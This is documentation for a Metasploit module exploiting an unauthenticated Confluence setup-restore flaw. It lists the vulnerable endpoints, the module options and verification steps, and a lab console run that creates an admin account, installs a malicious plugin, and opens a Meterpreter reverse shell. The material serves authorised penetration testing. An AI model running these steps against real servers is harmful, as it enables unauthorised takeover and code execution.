metasploit-gs/documentation/modules/exploit/multi/http/atlassian_confluence_unauth_backup.md

Vulnerable Application

This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a Confluence instance administrator account. Using this account, an attacker can then perform all administrative actions that are available to Confluence instance administrator. This module uses the administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code execution on the target in the context of the of the user running the confluence server.

Setup

Download and install a vulnerable version of Atlassian Confluence. By default the server will listen for HTTP connections on port 8090. This exploit module was tested against Confluence 8.5.1 running on Windows Server 2022.

After running the installer the setup wizard will ask for a trial license. An Atlassian account is free and required to obtain the trial licence. A database and a will also be required to run Confluence. Download and install PostgreSQL. The setup Wizard will ask for DB credentials, the default PostgreSQL database can be used.

Verification Steps

1. Start msfconsole
2. Do: use atlassian_confluence_unauth_backup
3. Set the RHOST
4. Run the module
5. Receive a Meterpreter session in the context of the user running the Confluence application.

Options

CONFLUENCE_TARGET_ENDPOINT

This is the endpoint used to trigger the vulnerability, and must be reachable by an un authenticated HTTP(S) POST request. The three vulnerable endpoints outlined by Atlassian in the advisory for this vulnerability are as follows:

• /json/setup-restore.action
• /json/setup-restore-local.action
• /json/setup-restore-progress.action'

CONFLUENCE_PLUGIN_TIMEOUT

The exploit will install a malicious plugin into the Confluence server. Plugin installation is performed asynchronously and we must poll the server to find out when installation has completed. This option governs the maximum amount of time to wait for installation to complete. The timeout value is in seconds and by default this option is set to 30.

Scenarios

Windows Server 2022 running Atlassian Confluence 8.5.1

msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > set rhost 172.16.199.134
rhost => 172.16.199.134
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > set verbose true
verbose => true
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > options

Module options (exploit/multi/http/atlassian_confluence_unauth_backup):

   Name                        Current Setting             Required  Description
   ----                        ---------------             --------  -----------
   CONFLUENCE_PLUGIN_TIMEOUT   30                          yes       The timeout (in seconds) to wait when installing a plugin
   CONFLUENCE_TARGET_ENDPOINT  /json/setup-restore.action  yes       The endpoint used to trigger the vulnerability. (Accepted: /json/setup-restore.action, /json/setup-restore-local.action, /json/setup-restore-progress.action)
   NEW_PASSWORD                LELTtnOG                    yes       Password to be used when creating a new user with admin privileges
   NEW_USERNAME                candace.leffler             yes       Username to be used when creating a new user with admin privileges
   Proxies                                                 no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      172.16.199.134              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT                       8090                        yes       The target port (TCP)
   SSL                         false                       no        Negotiate SSL/TLS for outgoing connections
   VHOST                                                   no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable version of Confluence: 8.5.1
[*] Setting credentials: candace.leffler:LELTtnOG
[+] Exploit Success! Login Using 'candace.leffler :: LELTtnOG'
[*] Generating payload plugin
[*] Uploading payload plugin
[*] Triggering payload plugin
[*] Deleting plugin...
[*] Sending stage (57692 bytes) to 172.16.199.134
[*] Meterpreter session 6 opened (172.16.199.1:4444 -> 172.16.199.134:50095) at 2023-12-11 18:52:33 -0500

meterpreter > getuid
Server username: WIN-2EEL7BRDUD8$
meterpreter > sysinfo
Computer        : WIN-2EEL7BRDUD8
OS              : Windows Server 2022 10.0 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/windows
meterpreter >